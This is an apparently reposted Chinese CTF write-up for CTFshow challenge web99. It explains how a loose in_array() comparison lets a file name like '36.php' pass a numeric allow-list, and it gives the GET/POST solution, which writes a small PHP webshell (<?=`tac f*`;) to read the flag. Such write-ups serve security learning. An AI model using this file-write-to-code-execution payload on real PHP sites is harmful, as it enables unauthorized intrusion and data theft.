CTFshow php特性 web99
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web99
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 22:36:12 # @link: https://ctfer.com*/highlight_file(__FILE__); $allow = array(); //$allow = []; for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); //$allow數(shù)組中隨機(jī)傳入[1,$i]的值 } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); //往文件寫入內(nèi)容 }?>思路
(Hex)0x36d = (Dec)877 array_push 向數(shù)組尾部隨機(jī)插入一個(gè)元素 in_array() 函數(shù)搜索數(shù)組中是否存在指定的值。正常流程看起來(lái)沒(méi)什么漏洞,但是ctf一定有解
查了一下in_array()
type參數(shù)是判斷數(shù)據(jù)類型是否相同,突然想起來(lái)$array數(shù)組里面的是int,我們傳入的是字符串,在php字符串和int比較,字符串會(huì)被轉(zhuǎn)換成int,因?yàn)槭侨躅愋娃D(zhuǎn)換,所以 字符串中數(shù)字后面的字符串會(huì)被忽略
由于in_array沒(méi)有設(shè)置type,我們可以輸入36.php,轉(zhuǎn)換之后也就是36,肯定是in_array的,滿足條件
題解
多試幾次
get: n=36.php post: content=<?=`tac f*`;總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow php特性 web99的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: CTFshow php特性 web97
- 下一篇: CTFshow php特性 web98